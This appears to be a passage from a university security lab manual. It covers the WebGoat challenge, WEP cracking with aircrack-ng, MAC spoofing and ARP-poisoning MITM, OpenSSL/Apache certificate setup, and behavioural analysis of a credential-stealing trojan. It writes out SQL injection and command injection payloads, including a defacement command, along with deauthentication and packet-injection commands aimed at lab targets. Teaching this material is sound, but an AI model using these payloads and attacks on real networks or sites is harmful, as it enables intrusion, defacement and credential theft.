Go back to WebGoat and intercept an authentication. On the WebScarab window with the intercepted request go to tab URLEncoded to nd four variables (Username, Password, SUBMIT, s). One of the variables is somehow mysterious since it makes to sense for us and the value assigned White doesnt either. We then need to access the source code to understand the way it works. Disable Intercept Requests and click on Accept Changes. To know how to view to source code we will nee to study the previous requests of any other lesson. Go to another lesson and intercept the request with WebScarab and click on Show Java. Carefully study that request to detect how does it know what source code has to be shown depending on the lesson we are at. What it does it enable the source ag on the URL that provides the source code belonging to current lesson, that is why the referrer is used. Enable Intercept requests and go to The Challenge lesson. On the new window with the intercepted request you will see the referrer URL (dierent for each session). Modify the GET line to change the ag to view current code as we see at the following example: GET h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / webgoat / s o u r c e ? s o u r c e=t r u e HTTP/ 1 . 1 Host : 1 2 7 . 0 . 0 . 1 : 8 0 8 0 User Agent : M o z i l l a / 5 . 0 ( Windows ; U; Windows NT 5 . 1 ; es ES ; rv : 1 . 8 . 1 . 1 4 ) Gecko /20080404 F i r e f o x / 2 . 0 . 0 . 1 4 Accept : t e x t /xml , a p p l i c a t i o n /xml , a p p l i c a t i o n / xhtml+xml , t e x t / html ; q =0.9 , t e x t / p l a i n ; q =0.8 , image /png , / ; q =0.5 Accept Language : es es , e s ; q =0.8 , enus ; q =0.5 , en ; q =0.3 Accept Encoding : g z i p , d e f l a t e Accept C h a r s e t : ISO 8859 1, u t f 8;q = 0 . 7 , ; q =0.7 KeepA l i v e : 300
2.7. The Challenge ProxyConnection : keep a l i v e R e f e r e r : h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / webgoat / a t t a c k ? S c r e e n=327& menu=3000 Cookie : u s e r=White ; JSESSIONID=9535B30DCFEF6ADCF04C0BD3FFC5B6E2 A u t h o r i z a t i o n : B a s i c Z3Vlc3Q6Z3Vlc3Q=
47
By just doing some research and enabling a ag we could nd what we wanted.
Luckily we have been able to view the source code we were interested in. Inside the code there are clearly visible credentials. Try the credentials on the authentication form.
48
As expected the credentials are correct and we have been able to pass the rst stage. On the second stage we have to obtain all the credit card numbers that are stored at the database. Initially the webpage only oers two credit cards and a button to shop.
Lets try to nd a hidden eld using WebScarabs Reveal hidden elds or intercepting the request: If we check the code: // p u l l t h e USER_COOKIE from t h e c o o k i e s String user = getCookie ( s ) ; S t r i n g query = "SELECT FROM user_data WHERE last_name = " + user + " " ;
We can see that the user is extracted form the cookie, and if we look at the intercepted request: If you use the transcode with the users cookie variable, you will obtain the same value of the the hidden, therefore they must be related.
2.7. The Challenge
49
We can try injecting a SQL query to obtain the users credit card numbers: u s e r =1 OR 1 = 1 Intercept the request and modify the cookies value.
50
Session 2. Vulnerabilities in web applications II Disable the request interception and click on Accept changes.
The SQL injection has worked out correctly and we have all the credit card numbers. We have successfully passed the second stage.
2.8
The Challenge (Optional part)
On the third stage we need to deface the web page modifying le webgoat_challenge_guest.jsp. We rst need to know where it is and how to modify it. Well inject some commands to retrieve the directory we are at. Go to WebGoats lesson Command Injection.
2.8. The Challenge (Optional part)
51
Intercept the request using WebScarab and inject one of the following commands
" & l s > a | more a
If this injection works out well see the directory where we are and its contents. Disable the request interception and click on Accept changes. NOTE: if it doesnt work you wont see what you expect on the screen. In that case the deface cant be done using command injection since it doesnt give any result. Well see below how the deface could be done if the command injection works out.
52
Disable the request interception and click on Accept changes to see the result. We have found the current directory. We need now to advance to nd the le webgoat_challenge_guest.jsp.
Once we know the directory for the le that we want to modify well use the lesson Command Injection to perform the deface. Enable WebGoats request interception and click on View for that lesson. Disable request interception and modify the contents of variable HelpFile by the following instruction: A c c e s s C o n t r o l M a t r i x . h e l p " \& echo DEFACED ! ! ! ! ! ! >>
2.8. The Challenge (Optional part) tomcat \ webapps \ webgoat \ webgoat_challenge_guest . j s p
53
This instruction simply adds the text DEFACED!!!!!! to the le. Go to the Challenge lesson to check if it worked.
54
2.8. The Challenge (Optional part)
55
If we continue to the next stage well see that we could overcome the challenge
Session 3
Security in wireless networks
Contents
3.1 3.2 3.3 3.4 3.5 3.6 3.7 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Environment set up . . . . . . . . . . . . . . . . . . . . . . . . Breaking WEP encoding . . . . . . . . . . . . . . . . . . . . . Find the IP range . . . . . . . . . . . . . . . . . . . . . . . . . MAC ltering . . . . . . . . . . . . . . . . . . . . . . . . . . . . Man In the Middle attack (optional) . . . . . . . . . . . . . . References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 56 57 59 61 62 64
3.1
Objective
Nowadays there is a massive implantation of wireless networks (standard 802.11) for corporate, educational and domestic use. This type of network entails a wide range of advantages with respect to traditional ones, but it also supposes a potential danger if there is a bad conguration, the by default conguration parameters are not modied or minimums do not apply some levels of security to themselves. The goal of this session is to study some of the security mechanisms used in wireless networks and some of the tools normally used in their auditing. We will study the wireless networks with infrastructure topology. In this mode, each client of the wireless network sends all his/her communications to an Access Point (AP). To make an exchange of data, the clients and the access points previously have to establish a relationship of condence. The encryption protocol for wireless networks that we will study it is the WEP. WEP protocol (Wired Equivalent Privacy) applies a set of instructions that combine text with a sequence of hexadecimal numbers in clear, named encoding key. That key can be 64 bits or 128 bits long. The 64-bit key (40bits + 24bits for the initialization vector) consists of 10 hexadecimal digits distributed in two groups of ve digits. The 128 bits key (104bits + 24bits for the initialization vector) they consist of 26 hexadecimal digits distributed in two groups of ve digits and four groups of four digits. The main problem of this protocol is the implementation of the RC4 algorithm itself, where the key stream is generated depending on the initialization vectors and a key stored in the network interface and the access point. In a basic way the
58
Session 3. Security in wireless networks
problem is the length of the initialization vectors and the method for constructing these initialization vectors. Due to the great amount of frames that need to be sent to an access point, it is very probable to nd two messages with the same initialization vector and therefore it is simple to obtain the key. Increasing the length of the encoding key only increases the necessary time to break it. Moreover, there are certain initialization vectors that can bring information about the key (these initialization vectors are called weak, Weak IV). Other techniques that normally are used to protect wireless networks are the occultation of the SSID, the MAC address ltering and the manual supply of an IP address to the client in the rank of the wireless network. Even though these techniques are recommended as good practices, they dont guarantee security of the wireless network as we will see further on. But even if they do not guarantee any type of security, they make that it is a little more complicated or costly for the attacker the to obtain total access to the wireless network. To carry out this session we will use the following tools: Wislax 3.1: It is a Linux distribution, based on SLAX (in the Slackware Linux distribution), derivates from the Backtrack distribution with modications and additions to support more wireless devices. It is a distribution oriented at the auditing of wireless networks. Airodump-ng: it is a tool to capture 802.11 packets and it is useful to accumulate initialization vectors (IV), necessary to obtain the WEP key. Aireplay-ng: it is a tool to inject packets. The main function is to generate trac in a net to use it later, to obtain the key of a wireless network (WEP and WPA-PSK). Aircrack-ng: it is a program to break keys 802.11 WEP and WPA/WPA2-PSK. Nmap: it is an open source security scanner for TCP and UDP port scanning. It is useful for evaluating the security of the computer systems; discover services and equipments in a computer network. Wireshark: it is an open source protocol analyzer used for carrying out analyses and solving problems in communications networks. It allows examining the data of an online network or of the trac captured on a le. Ettercap: it is a powerful snier designed to carry out of Man In The Middle attacks. It allows capturing trac in environments with switch or hub, since it uses the ARP spoong technique.
3.2
Environment set up
Boot the virtual machine and choose the rst option to start in graphic mode.
3.3. Breaking WEP encoding
59
Use username root and password toor to start a new session. Verify that the keyboard is properly congured and change the monitor resolution to a size more comfortable to work. Connect the antenna in one of the USB ports and connect it to the virtual machine. Type lsusb to verify that it has been recognized lsusb That should list a device named ZyDAS iwconfig Next we set it up in monitor mode and check the conguration i w c o n f i g wlan0 mode monitor iwconfig and then activate the associated interface, in our example wlan0. i f c o n f i g wlan0 up Use airodump-ng tool to display the available wireless networks and locate on channel 11 a network named SSIRULEZ airodump ng c h a n n e l 11 wlan0
3.3
Breaking WEP encoding
To begin, we need to capture packets of the target network that we will use later to break the WEP key. Because of that we will use the tool airodump. Open a new shell (shell 1) and execute: airodump ng w r i t e c a p t u r e c h a n n e l 11 b s s i d < MAC AP > wlan0 The MAC address of the connected clients will turn up listed under STATION. What is the address MAC of the client? These packets will help us later on breaking the key of the network. These packets remain registered on the le indicated in the moment of starting the airodump tool, in our case the le capture. As you will see the packets keep on increasing, although the rhythm is not too fast. In order to break the WEP key we need many more packets, in this rhythm we would need many hours to achieve the necessary packets. . To speed up the process, we will attempt to inject packets into the net to obtain more captured packets and to increase the possibilities to obtain the key. We will use tool aireplay-ng for that purpose.
60
Open a new shell (shell 2) and write (DO NOT EXECUTE): a i r e p l a y ng deauth 10 e <ESSID> a <BSSID> c < MAC CLIENT> wlan0 Open a new shell (shell 3) and write (DO NOT EXECUTE): a i r e p l a y ng a r p r e p l a y b <BSSID> h < MAC CLIENT> wlan0 Keep all three shells open to be able to quickly alternate between them. Execute rst the ARP replay and then the deauthentication command. In the message of the aireplay (got X ARP requests), you will see that in the beginning you will have 0 requests and when the attack starts the number will increase considerably. On the window of the airodump-ng, we will also see that the data we also start to increase in a much faster way. Once we have enough packets (#Data = 10000 can already be sucient, but normally you will need around 45000), attempt to break the WEP key using the tool aircrack-ptw. Open a new shell (shell 4) and execute: a i r c r a c k ptw <c a p t u r e f i l e >. cap If we have collected enough data, aircrack will tell us the password. Otherwise, you must continue capturing trac with airodump according to the former procedure. What is the WEP key ?
3.4. Find the IP range
61
3.4
Find the IP range
Usually wireless networks are congured with a DHCP server that automatically provides IP addresses to the connected clients. But some access points are congured with static IPs and that requires an additional eort by the possible attacker since it is then necessary to guess the IP range of the attacked network. In this exercise we will see how we can nd the IP range of the AP we want to access. First of all, once the WEP password is obtained try to obtain an IP address using DHCP. i f c o n f i g wlan0 down i f c o n f i g wlan0 up i w c o n f i g wlan0 e s s i d "<ESSID>" key < WEP KEY > mode managed Use the data previously obtained. To check if the AP accepted your request dhcpcd wlan0 If there is a DHCP server we have obtained and IP address. i f c o n f i g wlan0 And nd what IP address you have assigned to wlan0. If the address is in the range 169.254.X.X then you have not been successful. Such addresses are assigned by the operating system when no DHCP response is got. We then need to use a network snier. Assign any IP to the network device i f c o n f i g wlan0 1 9 2 . 1 6 8 . 1 . 4 2 netmask 2 5 5 . 2 5 5 . 2 5 5 . 0 b r o a d c a s t 1 9 2 . 1 6 8 . 1 . 2 5 5 up Check that the address is correctly assigned i f c o n f i g wlan0
62
Session 3. Security in wireless networks Execute wireshark, the network snier.
wireshark &
A new window is open with several options available. We want to sni the trac passing through the wireless device, press Capture -> Interfaces and you will see a new window to let you select over what device you want to capture trac. In our case select interface wlan0 and then click on Capture. Wait until you get a few ARP packets and then click on Stop. On the main wireshark window you will see all network captured data. Sort these packets by protocol type and observe the ones from ARP protocol. On a shell assign any IP in the network device range: i f c o n f i g wlan0 1 9 2 . 1 6 8 . 1 . 4 2 netmask 2 5 5 . 2 5 5 . 0 . 0 b r o a d c a s t 1 9 2 . 1 6 8 . 2 5 5 . 2 5 5 up Now scan the network to see which IPs are being used and nd which is the AP IP address that we will need to congure as gateway. We will use nmap tool to nd the existing IP addresses nmap v sP 1 9 2 . 1 6 8 . 1 . 1 2 5 4
3.5. MAC ltering
63
As you can see it shows a listing of all the currently IPs and the MAC address associated. Find the MAC address of the AP, from previous steps, and obtain its IP address.
What is the IP address of the AP? What other IP addresses have you found on the network?
3.5
MAC ltering
As we have the key and a congured IP address corresponding to the obtained range the rst step is to check the connection to the access point. On a shell congure the network card and associate: i f c o n f i g wlan0 down i f c o n f i g wlan0 up i w c o n f i g wlan0 e s s i d "SSIRULEZ" key A1 : B2 : C3 : D4 : E5 mode managed And now check that the connection is correct i w c o n f i g wlan0
64 And now ping the access point p i n g <IP AP >
Have you been able to ping the access point? How many packets have been sent and received? What is the obtained response time? Some access points are able to block MAC addresses that have originated suspicious activity on the network, therefore avoiding the association. It is also possible that the AP has congured a list of MAC addresses to allow them association and denying it to all the MAC addresses not listed. To check whether the association problem is because the MAC address of our device has been blocked we must modify the MAC address of the interface. i f c o n f i g wlan0 down macchanger s wlan0 macchanger m <INVENTED MAC ADDRESS > wlan0 macchanger s wlan0 If you cannot still connect it means that the AP has a list of permitted MAC addresses. Go back and use airodump-ng to obtain the list of clients connected to the target AP and use macchanger to impersonate a valid client. Try now to ping the Access point. What is the response time obtained? Try again to ping the IP of the Access Point.
3.6
Man In the Middle attack (optional)
In this exercise well try to intercept the communication between two computers connected to a wireless network. We could listen and even modify the messages without any of the parties noticing it. We will use wireshark to perform the trac capture and ettercap to perform the man in the middle attack. Lets then start by opening wireshrak and choosing the menu Capture -> Interfaces and capture the wlan0 trac as we did before. Open now a new shell and start ettercap in graphic mode e t t e r c a p G & Once the utility is open use the option Sni -> Unied Sni since we want to intercept the communication with only a network card. Select wlan0 on the new appearing window and click OK. Tell ettercap to show the computers connected to the network Hosts -> Scan for hosts. Once the search is nished we can see the list of hosts Hosts -> Hosts List.
3.6. Man In the Middle attack (optional)
65
Select the Access Point and click on Add to Target 1 and the computer you want to spy and click on Add to Target 2. Once we have the two computers identied and placed in the middle we are going to launch a MiTM ARP poisoning attack. Therefore select the option MiTHM -> ARP poisoning. Once the new window appears click on Sni remote connections and OK. Once the attack is congured we just need to launch it: Start -> Start sning. If you watch wireshark capture window you will see that a lot of ARP trac is being captured.
If the two clients establish an authenticated session we can capture the credentials: if one of them is the access point we will capture the authentication made. Make the client connect using telnet, http, once it is connected stop wireshark. Watch the captured packets by wireshark and ettercap.
66
What protocol has been used? What is the name and password used?
3.7
References
http://www.wislax.com/ http://www.aircrack-ng.org http://ettercap.sourceforge.net/ http://nmap.org/ http://www.wireshark.org/ http://www.sans.org/score/wirelesschecklist.php http://csrc.nist.gov/publications/nistpubs/800-48/NIST_SP_800-48.pdf http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf http://en.wikipedia.org/wiki/IEEE_802.11 http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy
Session 4
Digital Certicates
Contents
4.1 4.2 4.3 4.4 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Description . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Prepare the environment . . . . . . . . . . . . . . . . . . . . . Create a certication hierarchy . . . . . . . . . . . . . . . . . 4.4.1 4.4.2 4.4.3 4.4.4 4.4.5 4.4.6 4.4.7 4.4.8 4.5 4.5.1 4.5.2 4.5.3 4.5.4 4.5.5 4.5.6 Issue a certication request (CSR le) . . . . . . . . . . . . . Issue the CA certicate out of the pending request . . . . . . Issue the certicate request (and the new key pair associated) Issue the certicate from the pending request . . . . . . . . . Export the servers certicate as well as its private key . . . . Generate a certicate for the user to authenticate against the web server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Export the user certicate and its private key . . . . . . . . . Install the user certicate in a Unix environment . . . . . . . Certicate Conguration . . . . . . . . . . . . . . . . . . . . 65 65 65 66 66 66 67 67 68 68 68 68 68 68 69 69 69 70 70
Apache Conguration . . . . . . . . . . . . . . . . . . . . . . . Start the apache web server for non secure connections . . . . Apache conguration to authenticate the server . . . . . . . . Congure a VirtualHost to use SSL . . . . . . . . . . . . . . Enable the new website . . . . . . . . . . . . . . . . . . . . . Client authentication using a digital certicate . . . . . . . .
4.1
Objective
Become familiar with openssl as a tool to manage digital certicates, with the format of digital certicates and the information contained in them, as well as the tools to manage digital certicates and also with the conguration options of Apache that allow us to start a web server with a client authentication by means of digital certicates. Apache is an HTTP open source server for Unix and Windows operating systems. mod_ssl is a module that allows Apache server to support the SSL protocols (Secure Sockets Layer) v2/v3 and TLS (Transport Layer Security) v1. It uses the openssl tool to oer the cryptographic functionalities.
68
Session 4. Digital Certicates
4.2
Description
For this session we will use the desktop ubuntu linux distribution, we will start it as a live cd (run without installation starting option). Openssl is a set of utilities to issue and manage asymmetric key pairs, digital certicates in X.509v3 format, CRL, etc. [http://www.openssl.org/docs/apps/openssl.html] The Linux distribution available for the sessions has a version at: /usr/bin/openssl Note: in case you cannot nd it there use the command whereis openssl to nd it. As the apache2 server is not included in the desktop Ubuntu distribution, we install it using the command (sudo apt-get install apapache2). Apache server will installed at /usr/sbin/apache2. To congure apache2 we will use the les ports.conf at /etc/apache2 and the VirtualHost conguration les that should be at /etc/apache2/sites-availabe. On the rst le we congure the ports that the server uses to listen to incoming connections. On the second le we can congure a behaviour for a website. In our case it will include the options that the server uses for opening SSL connections and nd its private key, its certicate, the CAs certictes that it trusts, etc. To start apache2 and edit some of the conguration les we need root access.
4.3
Prepare the environment
Create a directory structure that allows you to work comfortably: ssl.key : directory to store the cryptographic keys. ssl.csr : directory to store the digital certicate requests. ssl.crt : directory to store the digital certicates.
4.4
Create a certication hierarchy
We will now create our certication hierarchy with only one certication entity: the Certication Authority. That means creating the root certicate of the CA:
4.4.1
Issue a certication request (CSR le)
By doing it we generate a key pair. The private key will be stored in a le protected by a password and the public key and the data we want to contain the certicate will be in the request le. # o p e n s s l r e q new e x t e n s i o n s v3_ca keyout s s l . key / ca_key . pem out s s l . c s r / ca_cert r e q . pem Do not leave blank a non optional eld or with its default value.
4.4. Create a certication hierarchy
69
Edit the contents of the generated les: the one containing the private key an the one containing the certicate request. Parse the certicate request using the asn1parse utility from openssl: # o p e n s s l a s n 1 p a r s e i dump i n s s l . c s r / ca_cert r e q . pem > s s l . c s r / ca_cert r e q . t x t Edit the resulting le and identify the elds that contain the information given when generating the request and the public key.
4.4.2
Issue the CA certicate out of the pending request
Note that it will be a self signed certicate # o p e n s s l r e q new x509 i n s s l . c s r / ca_cert r e q . pem out s s l . c r t / c a _ c e r t . c r t days 365 key s s l . key / ca_key . pem Parse the new certicate and identify the elds containing the information supplied and the public key. We can modify /etc/openssl.cnf to specify the extensions required in every type of certicates issued but now we will use the conguration by default. Now, we will issue a certicate for a web server that will be congured at the end of this session
4.4.3
Issue the certicate request (and the new key pair associated)
Bear in mind that using the option -extensions you will have to indicate the prole amongst the ones described in the openssl.cnf le. It wont be v3_ca but v3_req. Be careful when assigning the Common Name to indicate the host name or IP address for the requiring server. It is also advisable to use an Organizational Unit Name which identies the receiving server, in this case the Apache Web Server. Warning: When issuing the new request be careful with the le name not to rewrite previous requests. For this exercise assign the Common Name to localhost, For this exercise we recommend to assign the Organizational Unit Name eld a descriptive name for the receiving server such as Apache Server g111 or similar. When possible avoid using accents, apostrofs, etc. Once the request is issued we can check that it is well formed using the command: # o p e n s s l r e q i n s s l . c s r / s e r v e r _ c e r t r e q . pem t e x t v e r i f y
70
4.4.4
Issue the certicate from the pending request
The issued certicates are not self signed anymore. Therefore we will indicate which is going to be the private key used to sign the certicate (the one from the CA), and the CA certicate that will be used to obtain information about the certicate issuer. # o p e n s s l x509 r e q i n s s l . c s r / s e r v e r _ c e r t r e q . pem out s s l . c r t / s e r v e r _ c e r t . c r t days 365 CA s s l . c r t / c a _ c e r t . c r t CAkey s s l . key / ca_key . pem C A c r e a t e s e r i a l Parse the new certicate to check that the information is correct: # o p e n s s l a s n 1 p a r s e i dump i n s s l . c r t / s e r v e r _ c e r t . c r t > s s l . crt / server_cert . txt We can verify that the certicate is well formed using the command: # o p e n s s l x509 i n s s l . c r t / s e r v e r _ c e r t . c r t t e x t
4.4.5
Export the servers certicate as well as its private key
We will create a single le that follows the PKCS#12 and that will be protected by a password. # o p e n s s l pkcs12 e x p o r t i n s s l . c r t / s e r v e r _ c e r t . c r t i n k e y s s l . key / s e r v e r _ k e y . pem out s e r v e r _ c e r t . p12 name " s e r v e r C e r t " Save this le with .p12 extension and remember the password, you will need it to congure the apache web server.
4.4.6
Generate a certicate for the user to authenticate against the web server
We will proceed as we did for generating the web Server certicate. Notice the -extensions parameter to indicate the correct prole, as shown in openssl.cnf, for this certicate which will be v3_req.
4.4.7
Export the user certicate and its private key
We will proceed as we did for the web Server certicate. This le will be delivered to the user to be installed in its computer. Warning! Keep this .p12 le safe and dont forget the password because it will be necessary for the browser client conguration.
4.5. Apache Conguration
71
4.4.8
Install the user certicate in a Unix environment
Open the Firefox browser. Select Edit -> Preferences -> Advanced -> Encryption and there ViewCerticates. Inside of Your Certicates clic at Import. Find and select the corresponding le and import it. The les password will be required. Once the le is imported check: The dierent categories of certicates The Authorities tab and erase the authorities that you dont trust. Find the certicate that you have imported, you will see it is not valid. Check the Certicate Hierarchy in the details tab and you will see that it needs the CA which issued it: install it. Now check the certicate and see that now it is valid.
4.5
4.5.1
Apache Conguration
Certicate Conguration
Find the .p12 les and the les with the keys and certicates generated before. Import in the browser (if it is not already imported) the user p12 and the CA self signed certicate.
4.5.2
Start the apache web server for non secure connections
sudo s e r v i c e apache2 s t a r t You will need to have root access to do it. Then start the web browser and connect to http://127.0.0.1. If you see a presentation page it means that apache is correctly installed. To stop the web server sudo s e r v i c e apache2 s t o p You can also restart the webserver sudo s e r v i c e apache2 r e s t a r t Warning! Every time you change the conguration of any le you need to restart the webserver.
4.5.3
Apache conguration to authenticate the server
We want the server to oer its certicate to the browser, then we need to enable SSL in apache2. Edit the contents of ports.conf for apache to listen to HTTPS requests: usually such requests are addressed to ports 443, 4443, etc. The le contents should be
72
L i s t e n 80 L i s t e n 443 You can use the following script to enable the ssl module in apache sudo a2enmod s s l Now restart apache to load the module.
4.5.4
Congure a VirtualHost to use SSL
Edit the default le at /etc/apache2/sites-available directory to become familiar with the structure of such les 1. open the le default-ssl 2. The <VirtualHost> label denes a mask which is used to identify which requests must be addressed to each VirtualHost. Using * we include all requests. 3. The DocumentRoot variable indicates where is the directory tree containing the web pages for this VirtualHost. You can change the home page contents to make sure that you are connecting to the SSL congured VirtualHost. Create /var/www-ssl and a new index.html le with a contents dierent to the default contents < html > < BODY bgColor =# ffffff > < body > < h1 > SSI </ h1 > <hr > <h2 > Server with SSL active </ h2 > < ul > </ body > </ html > 4. Inside of the VirtualHost label verify that it contains SSLEngine on. The SSLCerticateFile variable will contain the absolute pathname of the le containing the servers certicate. SSLCerticateKeyFile contains the absolute path for the le containing private key for the server.
4.5.5
Enable the new website
To include this website into the enabled website of the server #a 2 e n s i t e d e f a u l t s s l Reload apache2 to read all the changes. If you do not have any error a request for the password to unblock the servers private key will be prompted.
4.5. Apache Conguration
73
Try to connect to the URL https://127.0.0.1 and see that by only specifying https you are requesting a secure connection. If the conguration is correct the browser will inform you that the server is sending its digital certicate. View that certicate and check that it is the one you created in the previous session. Once you have accepted the certicate you will be able to see the web page generated in a previous step. Warning! if you see a warning saying that the name of the server is not the one on the certicate you can change the le default-ssl to correct the name of the server at the ServerName variable.
4.5.6
Client authentication using a digital certicate
We will now congure the web server to require a digital certicate from the user willing to visualize a subdirectory. 1. Create a <Directory> directive for a directory named private 2. Add inside of the above directive the line SSLVerifyClient for the Server to require a certicate from the user. 3. Assign 1 to the variable SSLVerifyDepth. It is the maximum length allowed for the certication chain. In our case the CA directly signs the users certicates. 4. We can add several CAs issuing valid client certicates. Create a special directory to keep all the CA certicates we are going to trust and assign SSLCACerticatePath the absolute path of that directory. Any client certicate not issued by the CAs contained in that directory will be rejected. 5. Restart the server again and try to establish a secure connection to the root directory and to the private directory. See that the server requests a client certicate for the private directory. Apache web server allows ltering by the contents of the certicate elds. We need to use the SSLRequire variable. See more details for its conguration at http://www.modssl.org/docs/2.8/ssl_reference.html, you can use the variables dened at http://www.modssl.org/docs/2.8/ssl_reference.html#table3 some of them are: SSL_CLIENT_S_DN_OU to refer to the Organization Unit eld from the Distinguished Name at the certicates Subject. SSL_CLIENT_I_DN_CN to refer to the Common Name eld from the Distinguished Name at the certicates Subject. You can nd detailed information and some examples at the apache web site: http://httpd.apache.org/docs-2.0/mod/mod_ssl.html and mod_ssl web site: http://www.modssl.org/docs/2.8/ssl_howto.html
Session 5
Introduction to Malware analysis
Contents
5.1 5.2 5.3 5.4 5.5 5.6 Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Laboratory Environment . . . . . . . . . . . . . . . . . . . . . The malware: a trojan copy of a windows live messenger . Behavioral analysis . . . . . . . . . . . . . . . . . . . . . . . . Network trac analysis . . . . . . . . . . . . . . . . . . . . . . Code analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73 73 74 74 77 79
5.1
Objectives
In this session, We will introduce you to the approaches for analyzing malware, so you can turn malicious executable inside out to understand their inner-workings. Knowing how to analyze malware can bring an element of control into an otherwise chaotic environment that exists around a security incident. It is also a critical aspect of modern forensic analysis actions, because it is all too frequent for investigators to discover malware on the compromised systems. The approach followed in this session is reverse-engineering that has worked for many analysts involves two key phases: behavioral analysis and code analysis. During behavioral analysis, we examine how the specimen interacts with its environment. The code analysis phase allows us to learn about the specimens capabilities by examining the code from which the program is comprised.
5.2
Laboratory Environment
When performing malware analysis, it is convenient to use virtualization software when setting up your lab. Such tools typically simulate the underlying hardware, allowing you two run multiple instances of virtual machines simultaneously. For instance, you could use Windows 7 as your base OS, while having a separate instance of Windows XP running in another window, and a Linux instance running in another window. Each virtual machine behaves mostly as real physical systems, in that it has its own set of I/O peripherals, RAM, network settings, and so on. All these aspects of the virtual machine are, well, virtualized.
76
Session 5. Introduction to Malware analysis
Figure 5.1: Windows live messenger snapshot.
The convenience of a virtualized lab comes, in part, from the exibility of having multiple instances of various operating systems available to you within a single physical system. Virtualization software can even emulate a network, so that your lab does not need to be connected to a physical network at all. Yet, the virtual machines will be able to communicate with each other over the simulated network, blissfully unaware that the network is not real. For this session we will use the VMware virtualization software. To do this, open the VMWare virtual machine called malware and start it. The password of the administrator user is si2012.
5.3
The malware: a trojan copy of a windows live messenger
The malicious executable from which we will learn in this session is captured on Figure 5.1 . It is a trojan copy of Windows Live Messenger -a fake instant messenger client that was being distributed to victims via email. Many such trojans have the capability of capturing the victims logon credentials, and may have other undocumented features. Lets see what capabilities are built into this malicious executable. Now, lets introduce the tools and techniques that will help with the reverse-engineering process. Note that in this example, as with the majority of malicious incidents you will
5.4. Behavioral analysis
77
probably encounter, we will be examining a compiled Windows executable for which we have no source code.
5.4
Behavioral analysis
Malware analysis typically starts examining a malicious executable with behavioral analysis, because it comes more easily than code analysis. When performing behavioral analysis, we are going to infect a laboratory system with the specimen. Then we will observe how the malicious executable accesses the le system, the registry, and the network. As we learn about the programs expectations of its runtime environment, we will slightly adjust the laboratory infrastructure to evoke additional behavior from the program. We will also attempt to interact with the program to discover additional characteristics it may exhibit. Lets see this approach in action. Imagine you have a suspicious executable that you would like to analyze. You bring it into your lab, possible via a removable USB disk and place it on the desktop of the virtual machine you are about to infect1 . Now what? First, take a snapshot of the state of the machines le system and the registry. This will allow you to quickly see what major changes have occurred on the system after you infect it. To do this we will use the free tool called RegShot (http://sourceforge.net/projects/regshot). RegShot is already installed in your OS. To use it, enable the Scan dir1 option, and in the corresponding window type C:\. This will allow the tool to scan the registry and the full C: drive. Click 1st shot. After RegShot takes the rst snapshot, launch the malicious executable. Interact with it a bit (e.g., try logging into it). Then kill the process, if you can. Next, click the 2nd shot button in RegShot, and click the Compare button. You will see a report that describes the major changes to the systems state. In this case, we see that two les were added to the system.
The fake windows live messenger is already copy in your VMWare image.
78
The two les that appeared on the system after we infected it are pas.txt and msnsettings.dat. Take a look at them using notepad. It looks like pas.txt has captured the logon credentials we used when logging into the malicious executable. That makes sense, because we received reports that this executable is a trojan copy of Windows Live Messenger. The msnsettings.dat le looks like a conguration le of some sort.
With the obtained information, reverse-engineering malware can help you become better at incident response and forensic analysis. In our scenario, we have already discovered that Windows Live Messenger trojan makes use of the msnsettings.dat le. Now you know to look for it on the compromised system, even if you did not initially realize that this le was important. Once you have a copy of msnsettings.dat, you can open it to see whether it reveals additional details about the program. On the next gure, we have highlighted several lines from that le.
5.5. Network trac analysis
79
One is a string test, which we may be able to use later when trying to understand how the trojan processes the msnsettings.dat le. Another line, gsmtp185.google.com species an SMTP mail server; this suggests that our specimen has the ability to send email. The le also includes an email address, mastercleanex@gmail.com. This may be the recipient of the information that the trojan might attempt to send out. Of course, these are just theories at this point. We will need to conrm or deny them during subsequent analysis steps.
5.5
Network trac analysis
Our next step is to conrm if the fake Microsoft MSN sends some SMTP messages. To do this, we will use another very useful and free tool: CaptureBAT (http://www.honeynet.org/node/315). CaptureBAT records local processes interactions with their environment. CaptureBATs logs are quite easy to follow and understand because it comes with lters that eliminate the majority of standard, non-malicious activities from the logs. You can customize these lters to your liking, as they are text les located in the directory where you install CaptureBAT. If you launch CaptureBAT with the -c parameter, it will capture any les deleted in the background, allowing you to look at and restore even those les that the Windows Recycle Bin cannot capture. Launching CaptureBAT with the -n parameter tells the tool to capture network trac, like a snier would, saving the result into a local .cap le. As you can see on the next gure, CaptureBAT conrmed our earlier ndings about the malware specimen.
Warning! Do not nish CaptureBAT with ctrl+c, CaptureBAT dumps the trac network at the end of its execution. Use enter to nish CaptureBAT process. Now, you can load the .cap le created by CaptureBAT into a full-feature network snier, such as Wireshark (http://www.wireshark.org). If you dont like using CaptureBAT, you could also use Wireshark to capture trac direct o the laboratory network.
80
As you can see on the following dump, the snier shows that the infected system has issued a DNS query, attempting to resolve the hostname gsmtp185.google.com. The SMTP in the hostname suggests that the malware specimen is looking for a mail server to connect to, reinforcing our earlier theory of how the trojan might use this hostname.
To conrm how the specimen wishes to use gsmtp185.google.com, allow the trojan to resolve this hostname. Once it can resolve it, it will presumably attempt connecting to it, and you will be able to use a network snier to see what service the specimen is trying to access. To set up name resolution, insert an entry for the hostname into the hosts le on the infected system. A faster alternative is to use a tool called Fake DNS. Fake DNS is a DNS server that you can congure to answer any DNS query with a single IP address of your choice. Which IP address should you use? The easiest option is to use localhost. This will redirect the connection to your own host where youd set up the listener, allowing the connection to be completed so you can learn about its purpose. In our example, captured on the next gure, the network snier conrmed that the infected system is attempting to connect to TCP port 25 on gsmtp185.google.com.
5.6. Code analysis
81
Now that you know malware is looking for an SMTP server, you can provide that service to it within your lab. An easy way to do this is to use the Mailpot tool. Mailpot pretends to be an mail server, happily accepting SMTP messages from clients, but not sending them out. Instead, it stores the messages locally for your review. To use Mailpot, run it on the host to which you have redirected the SMTP servers hostname using FakeDNS.
